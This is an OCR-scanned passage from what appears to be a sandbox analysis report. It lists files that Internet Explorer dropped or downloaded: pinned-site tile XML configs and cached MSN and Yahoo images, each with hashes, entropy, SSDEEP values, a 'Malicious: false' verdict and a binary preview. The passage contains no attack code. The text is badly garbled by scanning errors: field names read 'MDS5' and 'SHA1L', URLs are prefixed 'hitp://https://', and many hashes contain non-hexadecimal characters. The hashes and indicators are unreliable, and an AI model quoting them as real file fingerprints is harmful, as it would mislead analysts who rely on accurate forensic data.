date>0xc1c0ad8a,0x01d715b4</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml
version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.live.com/"/><date>0xclcOad8a,0x01d715b4</date><accdate>0xclcOa
d8a,0x01d715b4</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Live.url"/></tile>
</msapplication></browserconfig>..

C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-6757900\msapplication.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\internet exploreniexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

dropped

656

5.124062185876355

false

12: TMHdNMNxhGwgqwnWiml002EtM3MHdNMNxhGwgqwnWiml000b8K075EtMb:2d6NxQaSZHKdENxQaSZ7YKajb
E6DDED8B2E4CC1E0B664801E458DDD2A

B7F83D15F6D7562319D7E55025470692E0A31D6D
EF9195E93DD4BCFE4747F3C15FC4C8A9A6DF88820257E7725FAB6195839CE24C
E8A9F2E531A3179FA9F375101FF25113C1046455A89D06C401AAF2D3C7D5875B5CAAE60C51C31AF9354A7D14EE2D7720D713CD734BD921AC2205655507280B2E
false

low

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.youtube.com/"/><date>0xc1c57241,0x01d715b4</date><
accdate>0xc1c57241,0x01d715b4</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.youtube.com/"/><date>0xc1c57241,0x01d715b4</date><accdate>0
xc1c57241,0x01d715b4</accdate></config><tile><wide310x150logo/><square310x310logo/><square 70x70logo/><favorite src="C:\Users\user\Favorites\Youtube.url"/>
</tile></msapplication></browserconfig>..

C:\Users\luser\AppData\Local\Microsoft\internet Explorer\Tiles\pin-8760897390\msapplication.xml

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:

C:\Program Files\internet exploren\iexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

dropped

653

5.051153374720393

false

12: TMHdNMNxO0n1LnWiml002EtM3MHANMNX0n1LnWimlI00ObXEtMb:2d6NXOFSZHKdENXOFSZ7nb
9CEE5270CD4750DF185B1F9A1D5050C2

E403123FA6A418C676D8A4BB2DAC4546FBC5B560
9578B69F919C020DFA91144B5B86B397ED655E4DE40AG66ED558C703626D43C68
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C:\Users\user\AppData\Local\Microsoft\internet Explorer\Tiles\pin-8760897390\msapplication.xml

SHA-512:

Malicious:
Reputation:

Preview:

AF5D3AA1665A0C02772E8AFD5E790A4E9640719382F2BEDCB818C1AEC87E28F19F5474644CF6D320ABE9CB919DFBA4A87222EAEF19872E1344D42085D6F341L
1

false

low

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.reddit.com/"/><date>0xc1c30fdc,0x01d715b4</date><a
ccdate>0xc1c30fdc,0x01d715b4</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.reddit.com/"/><date>0xc1c30fdc,0x01d715b4</date><accdate>0xc
1c30fdc,0x01d715b4</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Reddit.url"/></tile>
</msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin20259167780\msapplication.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\internet exploreniexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

dropped

656

5.091039369648398

false

12: TMHANMNxx1LnWimI002EtM3MHANMNxx1LnWimI000b6Kg5EtMb:2d6NXXSZHKA6NXXSZ70b
C7C938A968080C4FB4D51925B499300A

198B18356CA28685E739D521092E66CIE1896532
6FF519B238EF10A63F256BC55551A17376AE6F8A27F3114224E7455C63AF2DOF

3CEEB194B6F572B3CD30035F2E5D22BBC8C4A3E5796BFBB5CEFF11A218AEFCBC4B2B038A283A7FBBE4DICD3EE9A44ACD8BDI6F5A52AED61F8BOB8ICEI8A
A15D8

false

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.nytimes.com/"/><date>0xc1c30fdc,0x01d715b4</date><
accdate>0xc1c30fdc,0x01d715b4</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.nytimes.com/"/><date>0xc1c30fdc,0x01d715b4</date><accdate>0
xc1c30fdc,0x01d715b4</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\NY Times.url"/>
</tile></msapplication></browserconfig>..

C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\Tiles\pin20332743330\msapplication.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\internet exploreniexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

dropped

659

5.110032898728963

false

12: TMHANMNxcRANGAWNWImI002EtM3MHANMNXCRANGAWNWImI00ObVEtMb: 2d6NxzrWSZHKd6NxzrWSZ7Dh
26F88C5F0220DB02A56477A0E67ELAD2

76F515E9948F788268236EDEE7C17816BC02DF58
355BBA6433F331A71A7B4961BC8F690E708C62734537488AF48EB767379375B0

932BD9B3CACD396B01503A5852791EFF3DE6B2CB472DE42975721CB7972E4B922D37B6AEFOB3DDDC38231FFD1A7ESF6ABBE4DS59295BES34B5412C4074B9D7F
73

false

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.facebook.com/"/><date>0xc1lbe4b25,0x01d715b4</date>
<accdate>0xc1be4b25,0x01d715b4</accdate></config><tile><wide310x150logo/><square310x310logo/><square 70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.facebook.com/"/><date>0xc1be4b25,0x01d715b4</date><accdate
>0xclbe4b25,0x01d715b4</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Facebook
.url"/></tile></msapplication></browserconfig>..

C:\Users\luser\AppData\Local\Microsoft\internet Explorer\Tiles\pin8215062560\msapplication.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

C:\Program Files\internet exploreniexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

dropped

653

5.052171742473152

false

12: TMHdNMNxfnyMzfnWimI002EtM3MHdNMNxfnyMzfnWimI000be5EtMb:2d6Nxa+fSZHKd6Nxa+fSZ7ijb
CC4352B595B8B5326803AE3B86E2F89C

D218B5EF2A00B9D5FB5B0913DCBI38F4D53224EB
DFBOBD7FDAAAEF2564E1476EA9E96DI51AF7AGEF2AD46310E33AD830023B6049

FAAG6E48A905D03A00E01E9BA3GED3D25BDOECFOFFBC62E7D79C57B7C8FEB953F60AB82087B9CDBB378C700115673244147B478DFDABALEF8FF1BC43A6AF3IL
0B

false
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C:\Users\user\AppData\Local\Microsoft\internet Explorer\Tiles\pin8215062560\msapplication.xml

Preview:
<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.google.com/"/><date>0xc1cOad8a,0x01d715b4</date><a
ccdate>0xclcOad8a,0x01d715b4</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.google.com/"/><date>0xclcOad8a,0x01d715b4</date><accdate>0xc
1c0ad8a,0x01d715b4</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Google.url"/></tile>
</msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorerlimagestorelynfz0jx\imagestore.dat

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: data

Category: dropped

Size (bytes): 934

Entropy (8bit): 7.034055492260056

Encrypted: false

SSDEEP: 24:u6tWaF/6easyD/iICHLSWWqyCoTTdTc+yhaX4b9upGa:u6tWu/6symC+PTCq5TcBUX4bY

MDS5: 91B1EBA78F999E9933482174EDFA08E9

SHA1L: 4BBDAE62A3C64B1AA183A09B27BADCEADES23A63

SHA-256: 8DD920885533F22E4DCF979DDA9088DBE49F8FCOCC6798FF0B8514EBCD7ACEBL

SHA-512: 78406FEEA5B2355F75DFB87B87A2E8D1EB2AD9438507AD8D49D6A686D191323C404BB006058B3396D2AA7FAGEOAA3306BFF093181A5767B17EF9B27CA2683EA

Malicious: false

Preview:
E.h.ttps..//static.-.glo.b.al-s.-ms.n.-com..akama.ized..net/hp.-neuls.c/2b/a5ea?2l.ic.0...PNG.... IHDR... ... e PHYS. .o
VPAG... oot e elDATH...0.@../.MT..KY..PI9"....:UjS..T."P.(R.PZKQZ.S. ... .v2 ... 9. K..;_}....~.gK.i.;.B.2..C..B......<...CB.....)....;..Bx..2.}.. ._>W!..%B..{.d...

LCgz..j.7D.*.M.* .HK..j%.IDOf7......C.]._Z.f+..1.1+.;.Mf....L:Vhg.
..R.mgpivwn.f4$. . X.E.1.T..2....wz..U.../[..Z..(DB.B(...-........ B.=m.3....X.p.Y. ... W.. <. 8...
.72w/...Bh..5..C...2.06"........ 8@A..."zZTXtSoftware..x.sL.OJU..MLO.JML.../....M....IEND.B". ... ........... =H..

4.D..kn%.e. A.@IA.,>\.Q|.N.P..
.A..6f.g.xF..7h.Gmq|....gz_Z...x..OF".

X.=Y}iT.R....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCachellE\OW10PBUV\1606410096039-7693[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 207x240, frames 3
Category: downloaded

Size (bytes): 37850

Entropy (8bit): 7.946466625575793

Encrypted: false

SSDEEP: 768:WVF/1RICK8MLKCzI2tE1357tOPBZ+4d4VPJ5rHcSUHZWY|:W2khkC00c3570yrHw

MDS5: 2310BA555DAD34626DEBCCE5A03E6B04

SHA1L: CDD29DB3E660CC24F90FB930F6793F25074C0C65

SHA-256: 9CA16532DFD3CA0D4741B2803CFB7685E0EC76AB81F1B19FB6ES83D16FCF76ACA

SHA-512: 6CFB597F787FF30BB87D25434595C4E16B76836D7AD78E20CE334C14D21CF53355034E05E59A3653C30E76954759812840C0A353F8241E20606B877F2AAE8C62
Malicious: false

|IE Cache URL: hitp://https://s.yimg.com/lo/api/res/1.2/CPerTze7Hjn9ENFhutjSNw--~A/Zmk9ZmlsbDt3PTIwNztoPTIOMTthcHBpZD1nZW1pbmk7cTOXMDA-
Ihttps://s.yimg.com/av/ads/1606410096039-7693.jpg

Preview:

S.U..l.s. A...#s.S f@c..s.lby.).t..Z..6.>.
..w.Cr.0.~Q8.Z..4k..B..*...RT .6."... {.J........U.....s.q+ZU.
Ni..b.6..0]...25...W.0.T...3..$.GUCq\...UZ.J..>\..@J[2.S....)

Nz .6....6.....

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\33b341a7-11bf-42ad-8d2d-b90ecd999fda[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 300x300, frames 3

Category: downloaded

Size (bytes): 77818

Entropy (8bit): 7.977041177841507

Encrypted: false

SSDEEP: 1536:nnrO1vecal 66jy4QbssGEmw/mHXgf3Keq25ipoRCvAahHpl:gvecal 66QbsbEmBXKg2DMoahJl

MD5: 916397CB7EAB6FF49EFB327E8C423179

SHA1L: F136937445C3906914510D03CBCA6D469AA5COA7

SHA-256: C4DBCA3DC233B7BB4FEA711127920E7925031FADC52DC9162659DE69B7B2CA6A

SHA-512: 09A038EC20D272EDA434E77CF2B2A047D8AE4F573E92055D898335B8DDF452B32E82292BBF65DDFC672A21D818B7DDD57A89590B6D6D789531C4B330D1ESAA
6

Malicious: false

|IE Cache URL: hitp://https://cvision.media.net/new/300x300/2/213/174/106/33b341a7-11bf-42ad-8d2d-b90ecd999fda.jpg?v=9

Preview:

.......................... 1.1"AQ.
2JJiL..K....PO4,.. . F*V#..0..<| UF.K.O..al. %...0
(.#0..0.%.j$.&PBJ....n,.=T.$.x}.7....dt.J..B.M.5..".3
...... Ui 4Gy 70$.2.@.. A &R[V.....).<.IR#.., %.!
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\AA6SFRQ[1].png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

downloaded

749

7.581376917830643

false
12:6v/78/kFIZTqLqvNE6WxBOUQUTpLZ7pvIFFSEfJsF+11T1/nKCnt4/ApusUQkOsF1:vKgDTQUTpXvILfIT11BSCn20opvdk
CO3FB66473403A92A0C5382EE1EFF1EL

FCBD6BF6656346AC2CDC36DF3713088EFA634E0B
CF7BEEC8BF339E35BE1EE80F074B2F8376640BDOC18A83958130BC79EF12A6A3

53C922C3FC4BCE8S0AF7F80EB6FDA13EA20B90742D052C8447A8E220D31FOF7AA8741995A39E8E4480AES5EDG6F7ES59AA75BC06558AD9C1D6ADSELI6CDABCIO7A
A3

false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AA6 SFRQ.img?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png

PNG........ IHDR...coovrviin a...sRGB......... gAMA.....a....pHYs.......... (J.....DAT80.RMHTQ.>..fF...GK3. &g.E.(.h..2..6En......$.r. AD%..%.83J...BiQ..A"...S..{...m}..{ }....... 5(
$2..[d...Je.z.l_.5.mh" P+ XA M. Lu LU TREA LR LOLKLLYRL L. [ b N MLLL s JLK 20, L FL$..dp. KOt LB un N <ue. {1 zo P.B(U
pf.OMLKS . [8...5e....... X..R=0.Awl.."..B8.vx.."...,.II[. F..,.8..@_...%....\9e.0#..u,.....C..........LM.90.......; k...z@....w...B|.. X.yE*nls..R.9mRhC.Y . #h...[ >T....C2

£)..5....0a....NK..XO.|q\j.....=...M..,..fzV.8/...5." LkP.}@..uh .03..4....Hf/JOV..0J.N.*U....../.......y.".....IEND.B".

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\AA9GN;jr[1].png

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

downloaded

383

7.10942405968687

false
6:6v/IhPKkR/CnFUUsL/1bQ1QIkdSpMZf79g9+jd68VLUOED9+TIrPH3NArGE4XYF99:6v/78/kFUXLtbQ1QZdgMdxgQ568VtTXU
AB854DADA0F44823AAD8B22DCF44009E1

EC09E79CC2E284F5E686D1029ED638BC5B576376
58AE0C215F92D3B0503A0F5BE095B4BFEC22074F9963D707F973750D5377C7F7
04B10C949A4D392D0C26COD844FCA3CF468C7D688639C8AB20032F8C563057677EABAC664A1977441D336B0642E6AOBA7BABE3F62245863BE1413FFD1144079A
false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AA9GNjr.img?h=16&w=16&m=6&q=60&u=t&o=t&I=f&f=png

L WALA?.6mz
Lall%. 0._]......7sDc.\{"...

s’..8c..N.@NXP.p..c.......2.H3S..$.0)
."+...IEND.B".

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\BB10Rt2N[1].jpg

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 311x333, frames 3
downloaded

16241

7.959640029256055

false

384:eqN2QHPBnmfGAuUQnH4FIwSMf5R3VoWyu74nw:eqOCBAUQNHIIWI3SRS

4581B024D74C18623748D2A3F4025D7C

3B90D90AIECA1385DD01CA2732115B62A0CCFE9L
3EF9D1239BC23B54863337EF72BAD6152232E561A692C648F66COE6DIDAF7CA4
3AD241F9B8BB6411974A00898B14225D94076CDC2D15AA313BDDIF846B46003767892CEEA507A57F132A9072FCE10BBDA4A969DA4C40B3BODID1EB3788851D¢
false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB10Rt2N.img?h=333&w=311&m=6&q=60&u=t&o=t&I=f&f=jpg

.)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP JQRO...C &..&05-500000000000000000000000000000000
000000000000000000...... M7 § 11A..Qa."q.2...#B..R..$3br........ %&'()*456789:CDEFGHIISTUVWXYZcdefgh
jjstuvwxyz. W 11..AQ.aq."2...B....#3R..br...$4.%.....&'()*56 789: CDEFGHIJSTUVWXY
Zcdefghijstuvwxyz. LS. [OAV/ (P b.Qp..Q.v(....... b.Qp..Q.v(;;..ql.~(....b.S.F(..7.b..1E..qF).\,7.b..1
E..gF).\7.b..1E.a...Q.W....b.Qp..Q.V(....... b.Qp..QN....F)gF*.]....b..+.F)h.....1KE....1IKF(.XLQ.Z1E.%..b...QKE.%%-..,&(........ b.....b..R.J)QE.&(..(..a(.-...a(.....h.;.bo Q
N..\,.Z4K (Bl %, P 2()) b XT)GR(LE- . BQK.L@XJ)(.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\BB1cEP3G[1].png

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 27 x 27, 8-bit/color RGBA, non-interlaced
downloaded

1103

7.759165506388973

false

24:sWI+1gOC+JJAMrPGUDIRNO20LMDLspJg9a+VXKJIL3fxYSIP:sWYjJI3rPFWToEspJg9DaxWSA
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\BB1cEP3G[1].png

MDS5: 18851868AB0A4685C26E2D4C2491B580

SHA1L: 0B61A83E40981F65E8317F5C4A5C5087634B465F

SHA-256: C7FO0A19554EC6EAGE3CIBD09F3C662C78DC1BF501EBB47287DED74D82AFD1F72

SHA-512: BDBADO03B8BCA28DC14D4FF34AB8EAGAD31D191FF7F88F985844D0F24525B363CF1D0D264AF78B202C82C3E26323A0F9A6C7EDIC2AE61380A613FF41854F2E6
7

Malicious: false

|IE Cache URL: hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1cEP3G.img?h=27&w=27&m=6&0=60&u=t&o=t&|=f&f=png

Preview:

.U...sRGB......... 3#.2.<.%.}

].s6d.

q=.%&S.S .0.~>.=.n[G.. 9. .D:A.M..9E..".,.L
....... Im.j...,~...0g....<H..6......].zrx.3..KKs..(.j..aW...\. X...O......2v.. ."EH...LY 1t~ L& L. ()p7.E.N<.@.F AT 2. HoveawKk. {9..1A,,
%L .nW[LAQS......d2k{7..&i........ O 0..=.n\X...Lv.....;gNeC..[*).... £ . M.i.mv.K....Y"Y A JA.E).c..=m.7,.<9..0-..AE..b......D*;...Noh[JTd.. ............. pD..7..0..
+..B.mD!....(.a.Ej..&F.+..M]..8..>b..FW,....7.....d...Z........60).8....j.... T.. Xk L.ha.{.... KT.yZ...P)w.P....Ip.../[.....=... kg.*+

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\BB1cG73h[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 27 x 27, 8-bit/color RGBA, non-interlaced

Category: downloaded

Size (bytes): 917

Entropy (8bit): 7.682432703483369

Encrypted: false

SSDEEP: 24:k/6yDLeCoBkQgDWOIlotl9PxlehmoRArmufob/DeyH:k/660WQiWOIul9ekoRkf9b/DH
MDS5: 3867568E0863CDCE85D4BF577C08BA47

SHA1L: F7792C1D038F04D240E7EB2AB59C7E7707A08C95

SHA-256: BE47B3F70A0EA224D24841CB85EAED53A1EFEEFCBI1CI003E3BES55FA834610F
SHA-512: 1E0A5D7493692208B765B5638825B8BF1EF3DED3105130B2E9A14BB60E3F1418511FEACFOB3CI0E98473119F121F442A71F96744C485791EF68125CD8350E97D
Malicious: false

|IE Cache URL: hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1cG73h.img?h=27&w=27&m=6&q=60&u=t&o=t&|=f&f=png

Preview:

t.B..a.. AU AALLA..d?IX e .B.D;...1Naa.
....d.B..L.<>.K.oxs...+.$[..P...INNN.p....e..M,.zFO

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\BBlencYD[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 206x250, frames 3

Category: downloaded

Size (bytes): 7103

Entropy (8bit): 7.915820148436604

Encrypted: false

SSDEEP: 192:BC7jyKRrH65IG6kdhzZV3radM8tpjNs+LAMRJIX:k7+aKhkV3p8tIN9T

MDS5: 2823FB35F27307D904CA5A6976E40E47

SHA1L: 76EDOBC669AF6943D7FO0C8E336EF1DA101895FD1

SHA-256: D849729CC7EE8B62E8DE26928859ACA938893938EB284C66E3AF246D1E059CB2

SHA-512: C77CCB7B4DC3152C058A04C972E5A1B72295CFF4F7D4F279721CDDDC64ED4D045A40B84FA1F975E985E5A637B4240CCF62B50668C1DE5132B63DC2C1B4130(
4

Malicious: false

IE Cache URL:  hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1encYD.img?h=250&w=206&m=6&q=60&u=t&o=t&I=f&f=jpg

Preview:
...... JFIF.... 0 Criis e )100)-,3:3>36F7,-@WAFLNRSR2>ZaZP  JQRO...C.......&..&05-500000000000000000000000000000000
000000000000000000.. " } 11A..Qa."q.2...#B..R..$3br........ %&()*456789:CDEFGHIJSTUVWXY Zcdefghijstuvwxyz
.................................................... 11..AQ.aq."2...B....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXY Zcdefghijs

tuvwxyz M.JZ1.(..b...INzZTjw....ZC. .&....v.>.-.me..bd~.4.g>...V............. T.ZC.. .4...08f..0.
....G/(..$.D....S.4j.Xm..C. .SL.V.}.KCEi.W.Nx...n\aG....N..i..S.+.s>..)U......c...../Ak"...f.9.....r...sMoNsRd..jb..g...4n.F...n.;.i$..".P..1%. *.{S$.<.].uf..\. W?3.4|
LZW7.&V B.{... 0. %10

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\BB1lepFhY[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 622x368, frames 3
Category: downloaded

Size (bytes): 14436

Entropy (8bit): 7.87223327163266

Encrypted: false

SSDEEP: 192:BptjdFSqDxkscWwex5woQ7UpBTm29KChOSn38Xnmx8fVh88TrYG77UQjZDzbn8Yw:7XMaks8xoQwzm29DANGOV6sf77/9DX8Z
MD5: 5E59973B240C68229E17654791B4E869

SHAL: 5B087623621B7306631CFE484D5B4BD9170DDFDD

SHA-256: D8C20BD3AE1E57BD1C92C431E181ADCADBEDC51BD1905F2A142F9679F7D7CBE2

Copyright Joe Security LLC 2021 Page 27 of 65



C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\BB1lepFhY[1].jpg

SHA-512: 5D4D9A5D22C54A2B91820F24703D5D400651BC5A9215B9156E9FDFA7677FECA0448E0720F5B319A27B3500D77C1E7FE6D1C10A85C2156F94D8B41669A8D3B10!
Malicious: false

|IE Cache URL: hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1lepFhY.img?h=368&w=622&m=6&q=60&u=t&o=t&I=f&f=jpg&x=1793&y=1142

Preview:
...... JFIF.... 0 Criiies e )100)-,3:3>36F7,-@WAFLNRSR2>ZaZP JQRO...C.......&..&05-500000000000000000000000000000000
0000000000000 000O0 ... PN i § — 11A..Qa."q.2...#B..R..$3br........ %&()*456789:CDEFGHIJSTUVWXY Zcdefghijstuvwxyz
W 11..AQ.aq."2...B....#3R..br...$4.%.....&'()*56 789: CDEFGHIJSTUVWXY Zcdefghijs
?2.E%(..R.R...R..(.RE .)h...)h..Z(......2.(...(cooo (oo (oo (o (((bP.0.0Q.IY ..D..E....5...3E.%....JQ.W..DtT.Q
.%%-....P.D)........ 237" --%-%-..R........(h..(.o) b (he)iCe (e Rinze#U.20WXLGR2. LT ~ee T

tUVWXYZ.
...QE..QE..QE..QE..QE..(...%.P.E.P.IKI@.%-
Q..8./.%)%..@&.../....6..<v.allh.X..

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\BB1epHNF[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 622x368, frames 3
Category: downloaded

Size (bytes): 19613

Entropy (8bit): 7.9183303977533255

Encrypted: false

SSDEEP: 384:7iuzgLQwWhOSQCOJSPbh7Ye8Ua4XQelale3liHbBn4iuNVjnl39yM: 7xzgtvbOJSjMO2ela031UBN47jnB9p

MDS5: 6AC7D40237495E550537B3FD5D49E8BS

SHA1L: CD562E52E6985109A427074028F9AAE36CI9E7ADD

SHA-256: 201EB859815251C8BD69FDCD24BC3A77D24CE36D5620FA83F359FCE1218E687C

SHA-512: C1D54B62745D134F7FFA6BA985BDD7CC89C0D8B88993FD14142AF839E5FBFABDDI99B7314F33B9029272300209BA8CB15826A3E56660BB063377DEOEFF19F9E
Malicious: false

|IE Cache URL: hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1epHNF.img?h=368&w=6228&m=6&q=60&u=t&o=t&I=f&f=jpg&x=611&y=305

Preview:
...... JFIF... 0 Criiis e )100)-,3:3>36F7,-@WAFLNRSR2>ZaZP JQRO...C.......&..&05-500000000000000000000000000000000
0000000000000 0000OO0 ... PN it § 11A..Qa."q.2...#B...R..$3br........ %&()*456789:CDEFGHIJSTUVWXY Zcdefghijstuvwxyz
................ w......11..AQ.aq."2...B....#3R..br...$4.%.....&'()*56 789: CDEFGHIJSTUVWXY Zcdefghijs
2..0)..m-.($.....0H.....P.7.m.Mh.....*~..d7rQ...3v;....5...9%.y5..=.....05)(...Z_7..\.xb:P.X...0.EBZ._.i$49..L/...j
L..=..Wfm...5M:.\.%.,...qY.5.k..+..Y\D.8..>....jz5.sn/.g*... #...]...0.k3..G..z..v...A".}>5{w*.J...|...Z0.$..P~..V...ql..3[.@..s..P.q..[

tUVWXYZ.
.Ui.R%.HZ..3Z.q5sN...9.v.. d...Z.. .
. Z....0.(..N.ZTVV.k<L.....K[.t.C.

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\BB1epQZk[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 206x250, frames 3
Category: downloaded

Size (bytes): 10528

Entropy (8bit): 7.960178215616949

Encrypted: false

SSDEEP: 192:BCB1YKWATTItZNRd8k3nWIrt8Rdf4fR/8khBPfX016pHxnot:kB1XXRNRdA8k3WJt2V4ft8khxfXXIx6

MDS5: 54F2D9058163C1C4AFE35A7596CDDB7D

SHA1L: 038BDA263D84FE787D2CEE868031C3504762C9F9

SHA-256: F8FD8227452F43B5DD7F880A4C7EBD3CF8A3F202AC18D1D5C40897B538F39936

SHA-512: 83D30B28DFEF62590910FA737E690B858ESEO0FA4D59FADAAF6BI2F4A12DF25E0665F298672F025A45C42A9EE202623ACE310A24E3D95F014A16918F9A33DB539
Malicious: false

IE Cache URL:  hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1epQZk.img?h=250&w=206&m=6&q=60&u=t&0=t&I=f&f=jpg&x=756&y=308

Preview:

&..&05-500000000000000000000000000000000
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L0240 WS X 7vo...iml[.."1[7v1l..F.pj.aaA.....D;...RV8.v..?...,...%.7s.._{U.n-..2..V,..I....... 0..5.ym...B....F.'V..u..Mf..NT.?.].)7..5f.QEA.....z/55._d...@
#...16=..=X.\..0.9..y9.0..5m...V....jp".*.

.)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP"JQRO...C

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\BB1lepncl[1].jpg

